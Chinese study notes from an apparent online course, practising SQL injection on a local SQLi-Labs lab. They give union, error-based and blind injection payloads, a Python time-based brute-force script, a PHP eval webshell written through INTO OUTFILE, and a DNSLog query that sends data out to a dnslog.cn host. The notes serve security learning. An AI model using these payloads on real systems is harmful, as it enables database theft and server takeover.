课程学习:https://www.bilibili.com/video/BV1VA411u7Tg?p=9
数据库
基础操作
登录:C:\WINDOWS\system32>mysql -uroot -p
查看库名show databases
创建数据库create database 库名
删除数据库drop database 库名
使用(切换)数据库use 库名
建立表create table 表名('id' 数据类型,...);
查看表的结构desc 表名;
插入Insert into 表名 values('id','值');
删除delete from 表名 where XXXX;
更新(修改)update 表名 set name='x' where id=3;
查询select * from 表名
常用变量函数
**database()**查看当前数据库名
**user()**查看当前用户名
**version()**查看mysql版本
@@basedir查看安装路径
例如select database();
常用符号
&:and
|| :or
^:xor
常用函数
字符串截取:
substr(database(),1,1)
subtring
mid(database(),1,1)
left(database(),1)
编码函数
ascii()
hex()
char()
ascii()的逆函数
文件函数
load_file()
读取文件内容
SQL注入
概念以及危害
对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾,添加额外的SQL语句
危害:数据库信息泄露、网页篡改、数据库被恶意操作、服务器被远程控制
最简单
情景
$id = $_GET['id'];
$sql = "select * from data where id = $id;
注入方法:id = 1 or 1=1
SQL注入起手式
闭合
例子:
$id = $_GET['id'];
$sql = "select * from data where id = "'".$id."'";
注入方法:id=1'#
或者1'-- -
或者1' or '1'='1
常见的利用注释闭合的方法,注释有:
%23
也就是#,--+
,或者-- a
在–空格后面有东西就行,;%00
,`反引号
或者利用\
来将后面单引号进行转义
例如select * from data where username='\'and password=' or 1=1 ;%00'
搭建SQLI-Labs靶场
获取码源
http://github.com/Rinkish/Sqli_Edited_Version
doker可以一键搭建环境d run -p 30001:80 -d acgpiano/sqli-labs
但是我没有嘿
用phpstudy pro搭建
首先将网站设置里的路径改到相对应的路径
然后在主要打开阿帕奇和mysql
注意还需要在sql-connections里.inc文件里加上自己的密码(这里我改的和用户名一样是root)(一开始尝试了改用户名和密码都为admin,然后在初始化的时候就报错了,后来尝试改会原来的用户名就好了)
然后就可以在浏览器直接localhost就可以打开了(也可以输入127.0.0.1)
然后要初始化,也就是第一行
返回这个页面,下面是有一些通关的
注意有的是需要Linux环境的,所以其实最好用doker
SQL的常见姿势
联合查询注入
基本要求:查询列数必须一致,查询语句的查询的各列类型、顺序最好一致
步骤:闭合、判断字段数
order by 的使用
select * from users order by 3
发现当order by 1的时候id是按照1-14的顺序正常输出的,但是当为2或者3的时候就不是按顺序了(其实是换成了按照第2列第3列的顺序排列的),而当是4是,就会报错没有第四列
所以就可以利用order by判断一共有多少字段
例题,靶场第一关,直接/?id=1就能够得到用户名和密码,然后?id=Dumb&passwd=Dumb就算是通过了
但是我们这是是想要在这里测试一下order by的用法
发现/?id=1' order by 4-- +
的时候会报错Unknown column ‘4’ in ‘order clause’,但是1-3都不会报错,所以这个数据库也是只有3列
union操作符
用于合并两个或多个
还用上面的环境/?id=1' union select 1,2,3 -- +
这次是只有1,2,3这样才可以,其他什么1,2或者1,2,3,4都会报错
然后在数据库测试就会发现,select * from users where id='1' union select 1,2,3;
会的得到两行1 Dumb Dumb和1 2 3;如果想要我们的1 2 3在第一行,可以用select * from users where id='-1' union select 1,2,3;
就是让第一个匹配的结果是空的
在127.0.0.1靶场第一关中测试
发现/?id=1' union select 1,2,3--+
于/?id=1' union select 1,2,3--+
得到的结果是一样的,但是/?id=-1' union select 1,2,3--+
就可以输出名字为2密码为3
/?id=-1' union select 1,2,3;
发现可以输出2和3,1是不能输出的,也就是文件输出位置是从2开始的,所以我们想要执行的语句要放在2或者3的位置
例如/?id=-1' union select 1,2,database()--+
运行可以得到,用户名是2,密码是security,这里security就是当前数据库的名字
爆库、爆表、爆列
information_schema数据库
use information_schema;
使用这个数据库(这个数据库是MySQL自带的)
show tables;
查看其中的表
主要关注tables以及columns两个表
information_schema数据库提供源数据(数据库的数据)的访问
例如select * from tables
就可以看到数据库中所有的表名及基本信息
爆库名
union select 1,2,database();
爆表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
其中table_schema=database();
用于筛选出当前数据库
或者
union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database()
爆column名
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()
使用
可以看出利用上述方法可以将数据库里所有能输出的都输出来
例子看一下,比如我们想要得到注册用户的邮箱
/?id=-1' union select 1,2,group_concat(email_id) from emails--+
就可以得到:[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]
group_concat() 函数将所有结果用逗号间隔拼接变成一个语句
报错注入
在没办法用union联合查询并且没有过滤掉一些关键函数的时候,人为制造一些错误来使得查询结果能出现在报错信息中,注意报错注入有长度限制(32位),不同的函数限制不一样
updatexml
更新xml文档的函数
语法:updatexml(文档类型,xpath路径,更新的内容)
extractvalue
对xml文档进行查询的函数
语法:extractvalue(文档类型,xpath路径)
报错原理
路径写入其他格式,就会报错并且会返回我们写入的非法格式的内容,我们可以利用这个得到我们想得到的内容
详细例子
select * from users where id=1 and updatexml('1','/etc','1');
这是正常路径,会正常返回users表第一行
但是select * from users where id=1 and updatexml('1','~etc','1');
路径不对的时候就会报错,并且会显示错误内容
在浏览器中(依旧在靶机第一关中尝试)/?id=-1' and updatexml(0x0a,concat(0x0a,(select database())),1)--+
就会报错显示XPATH syntax error: ’ security’
这里0x0a跟1用处其实一样,%0a是换行符的意思,主要是要记得加concat
注:这里重点是在后面报错,所以前面id可以等于1,但是单引号以及后面的–+是不能省略的
关于限制长度的解决办法
比如限制输出32位,可以用函数一次输出32位,下一次下32位这样输出
或者可以顺序输出和倒序输出相结合的方式
盲注
布尔盲注
用SQLI-labs靶机第八关作为环境
我们发现id=1时输出You are in …
尝试输入其他的,发现要么时You are in …要么是啥也没有
意思是只有两种输出一种是永真,一种是永假
这种可以通过网页上的两种不同回显的注入,称为布尔盲注
涉及函数:substr(database(),1,1) 截取当前数据库的第一位;ascii() ASCII编码
所以,比如我们知道这里database()第一个字母是s,ascii码是115,所以/?id=1' and (ascii(substr(database(),1,1))>1)--+
就会发现成功回显You are in …,而当/?id=1' and (ascii(substr(database(),1,1))<1)--+
的时候就不会回显
然后就可以根据这个特点一位一位爆破
时间盲注
发现/?id=1' and 0--+
与/?id=1' and 1--+
得到的结果是一样的,都是永真
但是在第八关中/?id=1' and 0--+
回显是永假的,不能用这个
这里用到的环境是第九关
但是第九关好像输入啥都是回显You are in …
这里用burpsuite抓包看一下,当语句正确也就是/?id=1' and 1--+
的时候
但是当/?id=1' and 0--+
是
然后这里用if函数与sleep函数
用/?id=1' and if(1,sleep(3),0)--+
尝试,抓包转request,发送发现会有3秒的延时,也就是If语句里的东西被运行了
这种可以通过时间差异导致的两种不用的回显的注入,称为时间盲注
有五种方式:sleep()函数、benchmark、笛卡尔积等
if语句
if(expr1,expr2,expr3)
如果expr1是TRUE,则返回expr2;否则返回expr3
所以这里expr1=1就会触发sleep函数,延时3秒
然后当/?id=1' and if(0,sleep(3),0)--+
的时候就不会延时3秒
上面两种不同的回显是指,一个延时3秒一个不延时
所以跟上面一样就可以在一位一位爆破,当延时3秒就是对的
或者也可以用其他函数
benchmark
例如select benchmark(1000000,sha(1));
是指进行10000000次sha(1)操作,正常的话会直接结束,因为做不到,差不多用时3秒
利用大量benchmark操作可以达到延时的目的
笛卡尔积
例如select if(1=1,(select count(*) FROM information_schema.tables A,information_schema.columus B),0);
差不多会运行二十几秒
爆破思路
手动爆破、Burp suite爆破、python脚本爆破
时间盲注python脚本例子
import requests
import time
headers = {
"Sec-Fetch-Site": "none", "Sec-Fetch-Dest": "document", "Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1","Sec-Fetch_Mode": "navigate"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = 'http://127.0.0.1/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 2: #判断正确的数据库长度
print('database length is ' + str(l))
global length
length = l #把数据库长度赋值给全局变量
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://127.0.0.1/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)
堆叠注入
在sqli-labs靶场第一关的题目代码是这样的
$sql="SELECT * FROM users WHERE id='$id' LINK 0,1";
$resulr=mysqli_query($con,$sql);
而第三十八关是这样的
$sql="SELECT * FROM users WHERE id='$id' LINK 0,1";
$resulr=mysqli_multi_query($con,$sql);
只是加了一个multi,这个意思是可以执行多条sql语句
注入代码/?id=1'insert into users values('114',database(),'hahaha');--+
这样执行完之后就可以用/?id=114
来登录并且显示database()了
文件读写
mysql默认是不支持的,所以需要先更改一下配置,phpstudy_pro设置里面配置文件中mysql.ini中选择现在使用版本的mysql
在其中增加secure-file-priv=
然后重启数据库就可以了
常用函数
文件读取函数:
Load_file('文件路径')
注意是绝对路径
写文件函数
into outfile
into dumpfile
使用
select '<?php eval($_POST[cmd]);?>' into outfile '绝对路径'
区别
into outfile
函数会在行末端写入新行更致命的是会转义换行符,所以利用mysql写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏
这时候我们用into dumpfile
就能导入一个完整能执行的二进制文件
注意
写文件的时候要求文件原本不存在
不管都还是写都需要有权限才能做到
路径都要求是绝对路径
写shell
不推荐在win下
绝对路径全靠猜
例子
/?id=-1' union select 1,'<?php phpinfo();?>',3 into OUTFILE "H:\\phpstudy_pro\\www\\cms\\Sqli_Edited_Version\\sqlilabs\\Less-7\\shell.php"--+
DNSLog
设想一个环境,存在sql注入,但是ban掉了延时函数,且没有回显,并且在win下猜不到web目录
这就要用到dnslog了
靶机环境可以还使用上面第三十八关
有一个网站,dnslog.cn可以通过get subdomain
获得一个域名
在靶机中用/?id=-1';select 1,2,LOAD_FILE(GROUP_CONCAT('\\\\',substr(user(),2,1),'.域名\\abc'));;--+
在dnslog.cn中就能收到这里发送的请求
其中\有转义字符的意思,所以concat连接的第一部分其实是\\
,然后substr取了user()从第二个字符开始取一个字符,然后user()=root,所以第二部分是o
然后这里连起来就是一个unc路径
UNC路径
只存在于win中
格式类似于\\servername\sharename
其中servername是服务器名,sharename是共享资源的名称。
DNS请求
访问unc路径会对域名发送dns请求
例如上面\\o.域名\abc
我们会收到这个请求,所以可以将我们想得到的信息放到o这个位置上,并且上面也测试了,这个位置可以用sql语句